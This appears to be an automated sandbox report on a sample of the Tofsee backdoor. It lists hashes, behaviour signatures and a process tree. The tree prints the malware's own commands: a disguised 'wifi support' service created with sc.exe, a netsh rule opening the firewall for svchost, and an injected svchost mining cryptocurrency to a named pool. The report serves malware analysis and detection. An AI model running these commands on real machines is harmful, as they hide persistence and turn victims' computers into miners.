Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    14-11-2020 18:23

General

  • Target

    c1567cb139d3b8cff3f496db92e0fcb186408e940d51c8cc975d939f1212d5f6.exe

  • Size

    11.3MB

  • MD5

    25c0ecfe708eabf65b3329c261f4ea4c

  • SHA1

    76f921182a5262fbfc9688b2cd991ab18cb1fa26

  • SHA256

    c1567cb139d3b8cff3f496db92e0fcb186408e940d51c8cc975d939f1212d5f6

  • SHA512

    09aac55683604e59af43c698f4ddbaec9c61b7e274c13b1571c9ed07086e3e27f3512a4db6ba5c9a819419a5e357c167773f195f6d7bd93cd0bad515348b604e

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c1567cb139d3b8cff3f496db92e0fcb186408e940d51c8cc975d939f1212d5f6.exe
    "C:\Users\Admin\AppData\Local\Temp\c1567cb139d3b8cff3f496db92e0fcb186408e940d51c8cc975d939f1212d5f6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\odbtcrpg\
      2⤵
        PID:1016
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tyidxjgi.exe" C:\Windows\SysWOW64\odbtcrpg\
        2⤵
          PID:596
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create odbtcrpg binPath= "C:\Windows\SysWOW64\odbtcrpg\tyidxjgi.exe /d\"C:\Users\Admin\AppData\Local\Temp\c1567cb139d3b8cff3f496db92e0fcb186408e940d51c8cc975d939f1212d5f6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:940
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description odbtcrpg "wifi internet conection"
            2⤵
              PID:1124
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start odbtcrpg
              2⤵
                PID:1344
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1732
              • C:\Windows\SysWOW64\odbtcrpg\tyidxjgi.exe
                C:\Windows\SysWOW64\odbtcrpg\tyidxjgi.exe /d"C:\Users\Admin\AppData\Local\Temp\c1567cb139d3b8cff3f496db92e0fcb186408e940d51c8cc975d939f1212d5f6.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1612
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2500
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3624

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\tyidxjgi.exe

                MD5

                3e125c60299c947dfe9bf618df1ac0a6

                SHA1

                64261c674c0362b0de6563ed424fa958701d19f4

                SHA256

                5fad9aa65470364c70e45de6a8b3a75f35efa048b2cf2dbc42ceb2f282939801

                SHA512

                b6cdf55dfee5ddd88cac74b27be04394bb94862459e63efa5124acb21619b4d75a4ff367e800a206c29f24b1680a63bdf389db183e3f51467ec75380761bdaf3

              • C:\Windows\SysWOW64\odbtcrpg\tyidxjgi.exe

                MD5

                3e125c60299c947dfe9bf618df1ac0a6

                SHA1

                64261c674c0362b0de6563ed424fa958701d19f4

                SHA256

                5fad9aa65470364c70e45de6a8b3a75f35efa048b2cf2dbc42ceb2f282939801

                SHA512

                b6cdf55dfee5ddd88cac74b27be04394bb94862459e63efa5124acb21619b4d75a4ff367e800a206c29f24b1680a63bdf389db183e3f51467ec75380761bdaf3

              • memory/596-4-0x0000000000000000-mapping.dmp

              • memory/940-6-0x0000000000000000-mapping.dmp

              • memory/1016-3-0x0000000000000000-mapping.dmp

              • memory/1124-7-0x0000000000000000-mapping.dmp

              • memory/1344-8-0x0000000000000000-mapping.dmp

              • memory/1612-11-0x0000000000591000-0x0000000000592000-memory.dmp

                Filesize

                4KB

              • memory/1612-12-0x0000000000E20000-0x0000000000E21000-memory.dmp

                Filesize

                4KB

              • memory/1732-10-0x0000000000000000-mapping.dmp

              • memory/2500-16-0x0000000000350000-0x0000000000365000-memory.dmp

                Filesize

                84KB

              • memory/2500-14-0x0000000000350000-0x0000000000365000-memory.dmp

                Filesize

                84KB

              • memory/2500-15-0x0000000000359A6B-mapping.dmp

              • memory/2500-17-0x0000000004450000-0x000000000465F000-memory.dmp

                Filesize

                2.1MB

              • memory/2500-18-0x0000000000720000-0x0000000000726000-memory.dmp

                Filesize

                24KB

              • memory/2500-19-0x0000000000730000-0x0000000000740000-memory.dmp

                Filesize

                64KB

              • memory/2500-20-0x0000000000740000-0x0000000000745000-memory.dmp

                Filesize

                20KB

              • memory/2500-21-0x0000000008AD0000-0x0000000008EDB000-memory.dmp

                Filesize

                4.0MB

              • memory/2500-22-0x00000000007E0000-0x00000000007E7000-memory.dmp

                Filesize

                28KB

              • memory/3624-23-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                Filesize

                964KB

              • memory/3624-25-0x0000000000A9259C-mapping.dmp

              • memory/4796-0-0x0000000000716000-0x0000000000717000-memory.dmp

                Filesize

                4KB

              • memory/4796-1-0x0000000002270000-0x0000000002271000-memory.dmp

                Filesize

                4KB